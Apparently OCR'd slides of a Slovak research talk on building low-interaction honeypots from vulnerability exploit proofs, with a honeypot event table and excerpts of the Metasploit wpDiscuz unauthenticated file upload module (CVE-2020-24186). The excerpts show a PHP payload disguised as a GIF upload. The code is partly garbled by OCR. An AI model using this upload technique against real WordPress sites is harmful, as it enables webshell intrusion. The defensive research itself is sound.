Generovanie honeypotov
na zaklade dokazov
zneuzitelhosti zranitelnosti
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IP Country Events IP Country Honeypot Service
185.73.125.23 Estonia 2024-03-19 23:06:51 185.73.125.23 r_— Estonia Heralding VNC
119.92.196.243 Philippines 2024-03-19 23:06:51 185.73.125.23 | Estonia Heralding VNC
66.94.123.164 United States 2024-03-19 23:06:51 119.92.196.243 } Philippines Dionaea SMB
80.66.88.148 The Netherlands 2024-03-19 23:06:51 185.73.125.23 ] Estonia Heralding VNC
79.137.222 62 Russia 2024-03-19 23:06:51 66.94.123.164 HE United States Heralding VNC
50.31.21.8 China 2024-03-19 23:06:50 185.73.125.23 L Estonia Heralding VNC




Honeypot

® Pasca na utocnika.
® Pritahovat UtoCnikov a monitorovat ich aktivity. \

® Vela balastu.

Honeypot



Motivacia

Vela dat, malo uzitku -> menej dat, viac uzitku
Odfiltrovanie “robotov”
Ziskavanie IP adries utocnikov

fingerprinting (User-Agent, GeolP)



Zranitelhost

vulnerability
f X in =

Definitions:
B Weakness in an information system, system security procedures, internal

controls, or implementation that could be exploited or triggered by a threat source.
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Metasploit

® Pentesting tool

® Rapidy
® Moduly - Ruby

N\
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wp_wpdiscuz_unauthenticated_file_upload

"Name' => ‘WordPress wpDiscuz Unauthenticated File Upload Vulnerability’,

['CVE', '2020-24186'],

‘Targets" => [['wpDiscuz < 7.e.5", {}11,

‘DisclosureDate’ => '28206-062-21",




wp_wpdiscuz_unauthenticated_file_upload

def exploit
wmusecurity id = find wmusecurity id[@]
php page name = "#{rand text alpha(5..12)}.php"
data = Rex::MIME::Message.new
data.add part(‘wmuUploadFiles®', nil, nil, "form-data; name="action™")

data.add part(wmusecurity id, nil, nil, "form-data; name="wmu nonce™")

data.add part('undefined®, nil, nil, 'form-data; name="wmuAttachmentsData""')

data.add part('1', nil, nil, 'form-data; name="postId"")
data.add part("GIF8#{payload.encoded}”, "image/gif’', nil, "form-data; name=\"wmu
post data = data.to s




wp_wpdiscuz_unauthenticated_file_upload

json_data = JSON.parse(res.body)

upload url = json data.dig('data’, 'previewsData’', "images’, @, "url’)

fail with(Failure::UnexpectedReply, "#{peer} - Upload was unsuccessful™) unless upload url
wp shell upload = upload url.split(’'/").last
fail with(Fallure::NotFound, "#{peer} - Path not found in response body") unless wp shell

print_good("Payload uploaded as #{php page namel}")

register file for cleanup(php page name)




Low Interaction
Honeypot -
Twisted Web
Server

Dokaz Analyza a Vytvorenie

zneuzitelnosti spracovanie “Template-ov pre
zranitelhosti dbékazu dany dokaz”




Navrh

® Analyza a spracovanie dokazu

® "“Templates”

® Twisted Web Server



Problemy

® Rule-based

® Mozno iny pristup

[i] metasploit
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Najblizsie kroky

® Komplexny navrh systemu (Automatizovana cast)
® Vytvaranie rucnych template-ov

® Vyber ,Template" logiky




Dakujem za pozornost




Otazky / Diskusia
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